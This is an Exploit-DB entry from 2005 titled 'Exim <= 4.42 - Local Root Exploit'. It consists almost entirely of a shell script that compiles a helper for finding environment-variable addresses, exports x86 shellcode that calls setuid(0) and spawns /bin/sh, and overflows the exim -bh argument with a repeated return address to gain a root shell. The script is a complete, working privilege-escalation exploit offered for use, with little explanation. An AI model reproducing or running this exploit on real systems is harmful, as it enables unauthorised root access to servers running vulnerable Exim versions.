Exim <= 4.42 - Local Root Exploit

2005-02-07T00:00:00
ID EDB-ID:796
Type exploitdb
Reporter darkeagle
Modified 2005-02-07T00:00:00

Description

Exim <= 4.42 Local Root Exploit. Local exploit for linux platform

                                        
                                            #!/bin/sh

# Local Lame R00T sploit for exim &lt;= 4.42
# by Dark Eagle
#  
# My First Coding Release In bash ))

# Unl0ck Research Team
# 
# More Effective than C-code.
#
# @env.c content:
#
###################################################
#  #include &lt;stdio.h&gt;
#  #include &lt;string.h&gt;
#  int main(int argc, char *argv[])
#  {
#  char *addr_ptr;
#  addr_ptr = getenv(argv[1]);
#  printf("%s @ %p\n", argv[1], addr_ptr);
#  return 0;
#  }
###################################################

gcc @env.c -o @env

cp @env /usr/bin
cd /usr/exim/bin

CODE=`perl -e 'print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69
\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`;export CODE

@env CODE
echo "So, dude, starting..."
echo "NoW Just Type Address Of CODE"

read ADDRESS

echo "You are typed: $ADDRESS"

echo "Leeeeeeeeeeeeet'sssssssssss g000000000000000!!!!!!!!!"

./exim -bh ::%A`perl -e 'print pack('L','$ADDRESS') x 256'`

# milw0rm.com [2005-02-07]